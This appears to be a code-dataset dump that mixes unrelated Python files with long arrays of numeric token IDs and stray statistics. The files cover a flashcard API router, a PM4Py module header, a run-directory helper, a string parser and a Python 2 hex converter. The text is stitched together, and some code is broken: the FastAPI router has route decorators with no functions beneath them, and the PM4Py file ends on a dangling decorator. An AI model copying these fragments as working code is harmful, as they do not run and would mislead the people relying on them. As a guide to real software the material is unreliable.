220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 45941, 13, 33295, 7, 83, 33152, 11, 17, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 42781, 796, 45941, 13, 12647, 32604, 7, 39754, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 7400, 17816, 1659, 30909, 16, 6, 4083, 7890, 58, 521, 82, 60, 6624, 657, 290, 7400, 17816, 1659, 30909, 17, 6, 4083, 7890, 58, 521, 82, 60, 855, 15, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 657, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 33152, 796, 362, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 16449, 62, 41007, 82, 58, 521, 82, 60, 796, 45941, 13, 12647, 32604, 7, 615, 70, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6056, 2667, 58, 521, 82, 60, 796, 256, 33152, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 7400, 13, 2860, 62, 28665, 7, 39470, 7, 2704, 16406, 11, 705, 40053, 6, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 7400, 13, 2860, 62, 28665, 7, 39470, 7, 8770, 1886, 62, 41007, 82, 11, 705, 615, 70, 62, 41007, 62, 12545, 6, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 7400, 628, 198, 220, 220, 220, 825, 7108, 62, 2971, 22019, 303, 7, 944, 11, 3084, 28, 14202, 11, 45047, 10779, 15, 13, 20, 11, 9103, 28, 15, 13, 20, 11, 9720, 62, 7857, 28, 8784, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 220, 198, 220, 220, 220, 220, 220, 220, 220, 9938, 82, 290, 8075, 257, 7108, 1657, 12133, 326, 20675, 262, 10222, 13, 198, 220, 220, 220, 220, 220, 220, 220, 36965, 691, 1844, 5724, 602, 290, 36804, 349, 689, 503, 2017, 1566, 262, 198, 220, 220, 220, 220, 220, 220, 220, 2104, 1657, 12133, 318, 5017, 13, 628, 220, 220, 220, 220, 220, 220, 220, 40117, 198, 220, 220, 220, 220, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 220, 220, 220, 220, 3084, 1058, 6468, 28338, 13, 11487, 13, 10962, 11, 11902, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 16718, 329, 1972, 262, 9574, 286, 1123, 1657, 12133, 13, 40402, 2985, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 284, 779, 1541, 2727, 8893, 13, 15161, 796, 6045, 13, 2561, 2989, 329, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 336, 12627, 13, 16742, 464, 4561, 1747, 13, 6561, 62, 43420, 13, 198, 220, 220, 220, 220, 220, 220, 220, 45047, 1058, 12178, 11, 11902, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 21394, 262, 7108, 1988, 379, 262, 5288, 13, 15161, 796, 532, 15, 13, 20, 13, 198, 220, 220, 220, 220, 220, 220, 220, 9103, 1058, 12178, 11, 11902, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 21394, 262, 7108, 1988, 256, 262, 5415, 13, 15161, 796, 657, 13, 20, 13, 198, 220, 220, 220, 220, 220, 220, 220, 9720, 62, 7857, 1058, 5629, 12178, 11, 11902, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 21394, 9720, 2546, 329, 14288, 8106, 32746, 722, 13, 15161, 796, 1315, 13, 628, 220, 220, 220, 220, 220, 220, 220, 49213, 198, 220, 220, 220, 220, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 220, 220, 220, 220, 21164, 1058, 45941, 13, 358, 18747, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 611, 3084, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3084, 796, 2116, 13, 6561, 62, 43420, 628, 220, 220, 220, 220, 220, 220, 220, 9370, 1921, 1546, 796, 45941, 13, 30073, 7, 944, 13, 69, 22564, 8, 628, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 287, 256, 80, 36020, 7, 9521, 7, 11925, 7, 11487, 36911, 1715, 2625, 44, 5912, 21164, 1, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 6056, 796, 3084, 17816, 40053, 6, 4083, 7890, 58, 72, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 6056, 6624, 657, 393, 6056, 6624, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2278, 796, 3084, 17816, 615, 70, 62, 41007, 62, 12545, 6, 4083, 7890, 58, 72, 60, 1635, 334, 13, 820, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 20603, 3007, 796, 493, 7, 37659, 13, 744, 19510, 41007, 13, 1462, 7, 84, 13, 1084, 20679, 17, 737, 8367, 4008, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 477, 62, 2435, 796, 2116, 13, 2435, 58, 72, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 477, 62, 69, 22564, 796, 2116, 13, 69, 22564, 58, 72, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 814, 796, 45941, 13, 26069, 7, 439, 62, 2435, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 308, 2373, 524, 796, 45941, 13, 3003, 7, 26069, 29, 28, 37659, 13, 12647, 1150, 666, 7, 26069, 47762, 1065, 9, 37659, 13, 12647, 19282, 7, 26069, 4008, 58, 15, 7131, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 16, 11, 277, 16, 796, 477, 62, 2435, 58, 25, 70, 2373, 524, 10, 16, 4357, 477, 62, 69, 22564, 58, 25, 70, 2373, 524, 10, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 17, 11, 277, 17, 796, 477, 62, 2435, 58, 70, 2373, 524, 10, 16, 25, 4357, 477, 62, 69, 22564, 58, 70, 2373, 524, 10, 16, 47715, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 267, 16, 8899, 796, 3975, 62, 525, 62, 42594, 7, 83, 16, 11, 277, 16, 11, 9720, 62, 7857, 28, 8784, 11, 20603, 3007, 28, 66, 324, 3007, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 267, 17, 8899, 796, 3975, 62, 525, 62, 42594, 7, 83, 17, 11, 277, 17, 11, 9720, 62, 7857, 28, 8784, 11, 20603, 3007, 28, 66, 324, 3007, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7108, 796, 45941, 13, 33295, 7, 78, 16, 8899, 11, 267, 17, 8899, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7108, 796, 45941, 13, 9107, 418, 7, 11925, 7, 944, 13, 69, 22564, 58, 72, 60, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 9370, 1921, 1546, 58, 72, 60, 796, 7108, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 746, 1386, 796, 9370, 1921, 1546, 198 ]
1.788563
7,572
from typing import List from fastapi import APIRouter, Depends, HTTPException, status from app import schemas, models from app.services.jwt import get_current_user router = APIRouter( prefix="/flashcard", tags=["flashcard"] ) # Create new flashcard @router.post("/", response_model=schemas.Flashcard) # List all flashcards @router.get("/", response_model=List[schemas.Flashcard]) # Get flashcards of specific category @router.get("/{category}", response_model=List[schemas.Flashcard]) # Get flashcard by ID @router.get("/id/{flashcard_id}", response_model=schemas.Flashcard) # Update flashcard by ID @router.put("/id/{flashcard_id}", response_model=schemas.Flashcard) # Bulk change category name @router.put("/{category}", response_model=schemas.RenameFlashcardCategory) # Delete flashcard by ID @router.delete("/id/{flashcard_id}", response_model=int) # Delete flashcard by category @router.delete("/{category}", response_model=int)
[ 6738, 19720, 1330, 7343, 198, 198, 6738, 3049, 15042, 1330, 3486, 4663, 39605, 11, 2129, 2412, 11, 14626, 16922, 11, 3722, 198, 198, 6738, 598, 1330, 3897, 5356, 11, 4981, 198, 6738, 598, 13, 30416, 13, 73, 46569, 1330, 651, 62, 14421, 62, 7220, 628, 198, 472, 353, 796, 3486, 4663, 39605, 7, 198, 220, 220, 220, 21231, 35922, 34167, 9517, 1600, 198, 220, 220, 220, 15940, 28, 14692, 34167, 9517, 8973, 198, 8, 628, 198, 2, 13610, 649, 7644, 9517, 198, 31, 472, 353, 13, 7353, 7203, 14, 1600, 2882, 62, 19849, 28, 1416, 4411, 292, 13, 30670, 9517, 8, 628, 198, 2, 7343, 477, 7644, 27761, 198, 31, 472, 353, 13, 1136, 7203, 14, 1600, 2882, 62, 19849, 28, 8053, 58, 1416, 4411, 292, 13, 30670, 9517, 12962, 628, 198, 2, 3497, 7644, 27761, 286, 2176, 6536, 198, 31, 472, 353, 13, 1136, 7203, 14, 90, 22872, 92, 1600, 2882, 62, 19849, 28, 8053, 58, 1416, 4411, 292, 13, 30670, 9517, 12962, 628, 198, 2, 3497, 7644, 9517, 416, 4522, 198, 31, 472, 353, 13, 1136, 7203, 14, 312, 14, 90, 34167, 9517, 62, 312, 92, 1600, 2882, 62, 19849, 28, 1416, 4411, 292, 13, 30670, 9517, 8, 628, 198, 2, 10133, 7644, 9517, 416, 4522, 198, 31, 472, 353, 13, 1996, 7203, 14, 312, 14, 90, 34167, 9517, 62, 312, 92, 1600, 2882, 62, 19849, 28, 1416, 4411, 292, 13, 30670, 9517, 8, 198, 220, 220, 220, 220, 198, 198, 2, 47900, 1487, 6536, 1438, 198, 31, 472, 353, 13, 1996, 7203, 14, 90, 22872, 92, 1600, 2882, 62, 19849, 28, 1416, 4411, 292, 13, 49, 12453, 30670, 9517, 27313, 8, 628, 198, 2, 23520, 7644, 9517, 416, 4522, 198, 31, 472, 353, 13, 33678, 7203, 14, 312, 14, 90, 34167, 9517, 62, 312, 92, 1600, 2882, 62, 19849, 28, 600, 8, 628, 198, 2, 23520, 7644, 9517, 416, 6536, 198, 31, 472, 353, 13, 33678, 7203, 14, 90, 22872, 92, 1600, 2882, 62, 19849, 28, 600, 8 ]
2.915408
331
''' This file is part of PM4Py (More Info: https://pm4py.fit.fraunhofer.de). PM4Py is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. PM4Py is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with PM4Py. If not, see <https://www.gnu.org/licenses/>. ''' import warnings from enum import Enum import deprecation from pm4py.evaluation.wf_net.variants import petri_net from pm4py.util import exec_utils @deprecation.deprecated(deprecated_in='2.2.2', removed_in='3.0.0', details='this wf-net check is moved to the pm4py.algo.analysis package')
[ 7061, 6, 198, 220, 220, 220, 770, 2393, 318, 636, 286, 3122, 19, 20519, 357, 5167, 14151, 25, 3740, 1378, 4426, 19, 9078, 13, 11147, 13, 69, 430, 403, 71, 30288, 13, 2934, 737, 628, 220, 220, 220, 3122, 19, 20519, 318, 1479, 3788, 25, 345, 460, 17678, 4163, 340, 290, 14, 273, 13096, 198, 220, 220, 220, 340, 739, 262, 2846, 286, 262, 22961, 3611, 5094, 13789, 355, 3199, 416, 198, 220, 220, 220, 262, 3232, 10442, 5693, 11, 2035, 2196, 513, 286, 262, 13789, 11, 393, 198, 220, 220, 220, 357, 265, 534, 3038, 8, 597, 1568, 2196, 13, 628, 220, 220, 220, 3122, 19, 20519, 318, 9387, 287, 262, 2911, 326, 340, 481, 307, 4465, 11, 198, 220, 220, 220, 475, 42881, 15529, 34764, 56, 26, 1231, 772, 262, 17142, 18215, 286, 198, 220, 220, 220, 34482, 3398, 1565, 5603, 25382, 393, 376, 46144, 7473, 317, 16652, 2149, 37232, 33079, 48933, 13, 220, 4091, 262, 198, 220, 220, 220, 22961, 3611, 5094, 13789, 329, 517, 3307, 13, 628, 220, 220, 220, 921, 815, 423, 2722, 257, 4866, 286, 262, 22961, 3611, 5094, 13789, 198, 220, 220, 220, 1863, 351, 3122, 19, 20519, 13, 220, 1002, 407, 11, 766, 1279, 5450, 1378, 2503, 13, 41791, 13, 2398, 14, 677, 4541, 15913, 13, 198, 7061, 6, 198, 11748, 14601, 198, 6738, 33829, 1330, 2039, 388, 198, 198, 11748, 1207, 8344, 341, 198, 198, 6738, 9114, 19, 9078, 13, 18206, 2288, 13, 86, 69, 62, 3262, 13, 25641, 1187, 1330, 4273, 380, 62, 3262, 198, 6738, 9114, 19, 9078, 13, 22602, 1330, 2452, 62, 26791, 628, 198, 198, 31, 10378, 8344, 341, 13, 10378, 31023, 7, 10378, 31023, 62, 259, 11639, 17, 13, 17, 13, 17, 3256, 4615, 62, 259, 11639, 18, 13, 15, 13, 15, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3307, 11639, 5661, 266, 69, 12, 3262, 2198, 318, 3888, 284, 262, 9114, 19, 9078, 13, 282, 2188, 13, 20930, 5301, 11537, 198 ]
3.002907
344
from __future__ import annotations import os from datetime import datetime import coolname # type: ignore from dotenv import load_dotenv load_dotenv() def setup_rundir(): """ Create a working directory with a randomly generated run name. """ date = datetime.now().strftime("%Y%m%d-%H%M") name = coolname.generate_slug(2) # type: ignore os.environ['RUN_NAME'] = f'{date}-{name}' results_root = f'{os.getenv("RESULTS_DIR")}/{os.getenv("WANDB_PROJECT")}' if os.getenv('RUN_MODE', '').lower() == 'debug': run_dir = f'{results_root}/_debug/{os.getenv("RUN_NAME")}' os.environ['WANDB_MODE'] = 'disabled' else: run_dir = f'{results_root}/{os.getenv("RUN_NAME")}' os.makedirs(run_dir, exist_ok=True) os.environ['RUN_DIR'] = run_dir
[ 6738, 11593, 37443, 834, 1330, 37647, 198, 198, 11748, 28686, 198, 6738, 4818, 8079, 1330, 4818, 8079, 198, 198, 11748, 3608, 3672, 220, 1303, 2099, 25, 8856, 198, 6738, 16605, 24330, 1330, 3440, 62, 26518, 24330, 198, 198, 2220, 62, 26518, 24330, 3419, 628, 198, 4299, 9058, 62, 622, 358, 343, 33529, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 13610, 257, 1762, 8619, 351, 257, 15456, 7560, 1057, 1438, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 3128, 796, 4818, 8079, 13, 2197, 22446, 2536, 31387, 7203, 4, 56, 4, 76, 4, 67, 12, 4, 39, 4, 44, 4943, 198, 220, 220, 220, 1438, 796, 3608, 3672, 13, 8612, 378, 62, 6649, 1018, 7, 17, 8, 220, 1303, 2099, 25, 8856, 198, 220, 220, 220, 28686, 13, 268, 2268, 17816, 49, 4944, 62, 20608, 20520, 796, 277, 6, 90, 4475, 92, 12, 90, 3672, 92, 6, 628, 220, 220, 220, 2482, 62, 15763, 796, 277, 6, 90, 418, 13, 1136, 24330, 7203, 46274, 62, 34720, 4943, 92, 14, 90, 418, 13, 1136, 24330, 7203, 54, 6981, 33, 62, 31190, 23680, 4943, 92, 6, 198, 220, 220, 220, 611, 28686, 13, 1136, 24330, 10786, 49, 4944, 62, 49058, 3256, 10148, 737, 21037, 3419, 6624, 705, 24442, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 1057, 62, 15908, 796, 277, 6, 90, 43420, 62, 15763, 92, 47835, 24442, 14, 90, 418, 13, 1136, 24330, 7203, 49, 4944, 62, 20608, 4943, 92, 6, 198, 220, 220, 220, 220, 220, 220, 220, 28686, 13, 268, 2268, 17816, 54, 6981, 33, 62, 49058, 20520, 796, 705, 47730, 6, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1057, 62, 15908, 796, 277, 6, 90, 43420, 62, 15763, 92, 14, 90, 418, 13, 1136, 24330, 7203, 49, 4944, 62, 20608, 4943, 92, 6, 628, 220, 220, 220, 28686, 13, 76, 4335, 17062, 7, 5143, 62, 15908, 11, 2152, 62, 482, 28, 17821, 8, 198, 220, 220, 220, 28686, 13, 268, 2268, 17816, 49, 4944, 62, 34720, 20520, 796, 1057, 62, 15908, 198 ]
2.315029
346
"""Module for the string helper functions and primitive data types.""" from __future__ import annotations import ast import typing import apm # WPS600 - inheritance from the str is the only way to implement correct # error message with all str functionality class ErrorMessage(str): # noqa: WPS600 """Implementation of the error message. Note ---- By default, error messages in the exceptions don't support line breaks or any formatting, this decorator is solving that problem. References ---------- 1. `New line on error message in KeyError - Python 3.3 <https://stackoverflow.com/questions/ 46892261/new-line-on-error-message-in-keyerror-python-3-3>`_ """ def __repr__(self) -> str: r"""Get object representation. Examples -------- >>> msg = ErrorMessage("\nInvalid argument: 'db'.\nExpected arguments: ['db2', 'port'].") >>> repr(msg) \nInvalid argument: 'db'.\nExpected arguments: ['db2', 'port']. >>> raise ValueError(msg) Traceback (most recent call last): ... ValueError: Invalid argument: 'db'. Expected arguments: ['db2', 'port']. """ return self.__str__() def parse(value: str) -> typing.Optional[typing.Any]: """Parse a string value to the appropriate Python object. Note ---- If a value is a sequence ``list | tuple | set`` then ``parse`` function will be applied to each element of a sequence. Warnings -------- - Currently ``parse`` function supports only primitive data types ``int | str | float`` and sequences ``list | tuple | set``. Sequences such as ``dict`` will be returned as they are without parsing their inner values. - If a value can't be parsed it will be returned as it is. Examples -------- >>> parse("1.2") 1.2 >>> parse("(1, 2, '3')") (1, 2, 3) >>> parse("['85', '0.23', 'cleffa', ['10', ['0.123'], 'blipbug']]") [85, 0.23, 'cleffa', [10, [0.123], 'blipbug']] """ try: literal = ast.literal_eval(value) except ValueError: original_type = type(value) return ( apm.case(value) .of(apm.InstanceOf(list, set, tuple), lambda _: original_type(map(parse, value))) .otherwise(lambda _: value) ) except SyntaxError: return value original_type = type(literal) return ( apm.case(literal) .of(apm.InstanceOf(float), lambda _: int(literal) if literal.is_integer() else literal) .of(apm.InstanceOf(list, set, tuple), lambda _: original_type(map(parse, literal))) .otherwise(lambda _: literal) )
[ 37811, 26796, 329, 262, 4731, 31904, 5499, 290, 20049, 1366, 3858, 526, 15931, 198, 198, 6738, 11593, 37443, 834, 1330, 37647, 198, 198, 11748, 6468, 198, 11748, 19720, 198, 198, 11748, 2471, 76, 628, 198, 2, 370, 3705, 8054, 532, 24155, 422, 262, 965, 318, 262, 691, 835, 284, 3494, 3376, 198, 2, 4049, 3275, 351, 477, 965, 11244, 198, 4871, 13047, 12837, 7, 2536, 2599, 220, 1303, 645, 20402, 25, 370, 3705, 8054, 198, 220, 220, 220, 37227, 3546, 32851, 286, 262, 4049, 3275, 13, 628, 220, 220, 220, 5740, 198, 220, 220, 220, 13498, 198, 220, 220, 220, 2750, 4277, 11, 4049, 6218, 287, 262, 13269, 836, 470, 1104, 1627, 9457, 198, 220, 220, 220, 393, 597, 33313, 11, 428, 11705, 1352, 318, 18120, 326, 1917, 13, 628, 220, 220, 220, 31458, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 352, 13, 4600, 3791, 1627, 319, 4049, 3275, 287, 7383, 12331, 532, 11361, 513, 13, 18, 1279, 5450, 1378, 25558, 2502, 11125, 13, 785, 14, 6138, 507, 14, 198, 220, 220, 220, 604, 40523, 1828, 5333, 14, 3605, 12, 1370, 12, 261, 12, 18224, 12, 20500, 12, 259, 12, 2539, 18224, 12, 29412, 12, 18, 12, 18, 29, 63, 62, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 825, 11593, 260, 1050, 834, 7, 944, 8, 4613, 965, 25, 198, 220, 220, 220, 220, 220, 220, 220, 374, 37811, 3855, 2134, 10552, 13, 628, 220, 220, 220, 220, 220, 220, 220, 21066, 198, 220, 220, 220, 220, 220, 220, 220, 24200, 198, 220, 220, 220, 220, 220, 220, 220, 13163, 31456, 796, 13047, 12837, 7203, 59, 77, 44651, 4578, 25, 705, 9945, 4458, 59, 77, 3109, 7254, 7159, 25, 37250, 9945, 17, 3256, 705, 634, 20520, 19570, 198, 220, 220, 220, 220, 220, 220, 220, 13163, 41575, 7, 19662, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3467, 77, 44651, 4578, 25, 705, 9945, 4458, 59, 77, 3109, 7254, 7159, 25, 37250, 9945, 17, 3256, 705, 634, 6, 4083, 198, 220, 220, 220, 220, 220, 220, 220, 13163, 5298, 11052, 12331, 7, 19662, 8, 198, 220, 220, 220, 220, 220, 220, 220, 34912, 1891, 357, 1712, 2274, 869, 938, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 2644, 198, 220, 220, 220, 220, 220, 220, 220, 11052, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 17665, 4578, 25, 705, 9945, 4458, 198, 220, 220, 220, 220, 220, 220, 220, 1475, 7254, 7159, 25, 37250, 9945, 17, 3256, 705, 634, 6, 4083, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13, 834, 2536, 834, 3419, 628, 198, 4299, 21136, 7, 8367, 25, 965, 8, 4613, 19720, 13, 30719, 58, 774, 13886, 13, 7149, 5974, 198, 220, 220, 220, 37227, 10044, 325, 257, 4731, 1988, 284, 262, 5035, 11361, 2134, 13, 628, 220, 220, 220, 5740, 198, 220, 220, 220, 13498, 198, 220, 220, 220, 1002, 257, 1988, 318, 257, 8379, 7559, 4868, 930, 46545, 930, 900, 15506, 788, 7559, 29572, 15506, 2163, 481, 307, 5625, 198, 220, 220, 220, 284, 1123, 5002, 286, 257, 8379, 13, 628, 220, 220, 220, 39567, 654, 198, 220, 220, 220, 24200, 198, 220, 220, 220, 532, 16888, 7559, 29572, 15506, 2163, 6971, 691, 20049, 1366, 3858, 7559, 600, 930, 965, 930, 12178, 15506, 198, 220, 220, 220, 220, 220, 290, 16311, 7559, 4868, 930, 46545, 930, 900, 15506, 13, 24604, 3007, 884, 355, 7559, 11600, 15506, 481, 307, 4504, 355, 484, 389, 198, 220, 220, 220, 220, 220, 1231, 32096, 511, 8434, 3815, 13, 628, 220, 220, 220, 532, 1002, 257, 1988, 460, 470, 307, 44267, 340, 481, 307, 4504, 355, 340, 318, 13, 628, 220, 220, 220, 21066, 198, 220, 220, 220, 24200, 198, 220, 220, 220, 13163, 21136, 7203, 16, 13, 17, 4943, 198, 220, 220, 220, 352, 13, 17, 198, 220, 220, 220, 13163, 21136, 7203, 7, 16, 11, 362, 11, 705, 18, 11537, 4943, 198, 220, 220, 220, 357, 16, 11, 362, 11, 513, 8, 198, 220, 220, 220, 13163, 21136, 7203, 17816, 5332, 3256, 705, 15, 13, 1954, 3256, 705, 2375, 487, 64, 3256, 37250, 940, 3256, 37250, 15, 13, 10163, 6, 4357, 705, 2436, 541, 25456, 6, 11907, 4943, 198, 220, 220, 220, 685, 5332, 11, 657, 13, 1954, 11, 705, 2375, 487, 64, 3256, 685, 940, 11, 685, 15, 13, 10163, 4357, 705, 2436, 541, 25456, 6, 11907, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 18875, 796, 6468, 13, 18250, 1691, 62, 18206, 7, 8367, 8, 628, 220, 220, 220, 2845, 11052, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2656, 62, 4906, 796, 2099, 7, 8367, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2471, 76, 13, 7442, 7, 8367, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 764, 1659, 7, 499, 76, 13, 33384, 5189, 7, 4868, 11, 900, 11, 46545, 828, 37456, 4808, 25, 2656, 62, 4906, 7, 8899, 7, 29572, 11, 1988, 22305, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 764, 847, 3083, 7, 50033, 4808, 25, 1988, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 628, 220, 220, 220, 2845, 26375, 897, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 1988, 628, 220, 220, 220, 2656, 62, 4906, 796, 2099, 7, 18250, 1691, 8, 198, 220, 220, 220, 1441, 357, 198, 220, 220, 220, 220, 220, 220, 220, 2471, 76, 13, 7442, 7, 18250, 1691, 8, 198, 220, 220, 220, 220, 220, 220, 220, 764, 1659, 7, 499, 76, 13, 33384, 5189, 7, 22468, 828, 37456, 4808, 25, 493, 7, 18250, 1691, 8, 611, 18875, 13, 271, 62, 41433, 3419, 2073, 18875, 8, 198, 220, 220, 220, 220, 220, 220, 220, 764, 1659, 7, 499, 76, 13, 33384, 5189, 7, 4868, 11, 900, 11, 46545, 828, 37456, 4808, 25, 2656, 62, 4906, 7, 8899, 7, 29572, 11, 18875, 22305, 198, 220, 220, 220, 220, 220, 220, 220, 764, 847, 3083, 7, 50033, 4808, 25, 18875, 8, 198, 220, 220, 220, 1267, 198 ]
2.59348
1,043
""" HexByteConversion Convert a byte string to it's hex representation for output or visa versa. ByteToHex converts byte string "\xFF\xFE\x00\x01" to the string "FF FE 00 01" HexToByte converts string "FF FE 00 01" to the byte string "\xFF\xFE\x00\x01" """ #------------------------------------------------------------------------------- def ByteToHex( byteStr ): """ Convert a byte string to it's hex string representation e.g. for output. """ # Uses list comprehension which is a fractionally faster implementation than # the alternative, more readable, implementation below # # hex = [] # for aChar in byteStr: # hex.append( "%02X " % ord( aChar ) ) # # return ''.join( hex ).strip() return ''.join( [ "%02X " % ord( x ) for x in byteStr ] ).strip() #------------------------------------------------------------------------------- def HexToByte( hexStr ): """ Convert a string hex byte values into a byte string. The Hex Byte values may or may not be space separated. """ # The list comprehension implementation is fractionally slower in this case # # hexStr = ''.join( hexStr.split(" ") ) # return ''.join( ["%c" % chr( int ( hexStr[i:i+2],16 ) ) \ # for i in range(0, len( hexStr ), 2) ] ) bytes = [] hexStr = ''.join( hexStr.split(" ") ) for i in range(0, len(hexStr), 2): bytes.append( chr( int (hexStr[i:i+2], 16 ) ) ) return ''.join( bytes ) #------------------------------------------------------------------------------- # test data - different formats but equivalent data __hexStr1 = "FFFFFF5F8121070C0000FFFFFFFF5F8129010B" __hexStr2 = "FF FF FF 5F 81 21 07 0C 00 00 FF FF FF FF 5F 81 29 01 0B" __byteStr = "\xFF\xFF\xFF\x5F\x81\x21\x07\x0C\x00\x00\xFF\xFF\xFF\xFF\x5F\x81\x29\x01\x0B" if __name__ == "__main__": print "\nHex To Byte and Byte To Hex Conversion" print "Test 1 - ByteToHex - Passed: ", ByteToHex( __byteStr ) == __hexStr2 print "Test 2 - HexToByte - Passed: ", HexToByte( __hexStr1 ) == __byteStr print "Test 3 - HexToByte - Passed: ", HexToByte( __hexStr2 ) == __byteStr # turn a non-space separated hex string into a space separated hex string! print "Test 4 - Combined - Passed: ", \ ByteToHex( HexToByte( __hexStr1 ) ) == __hexStr2
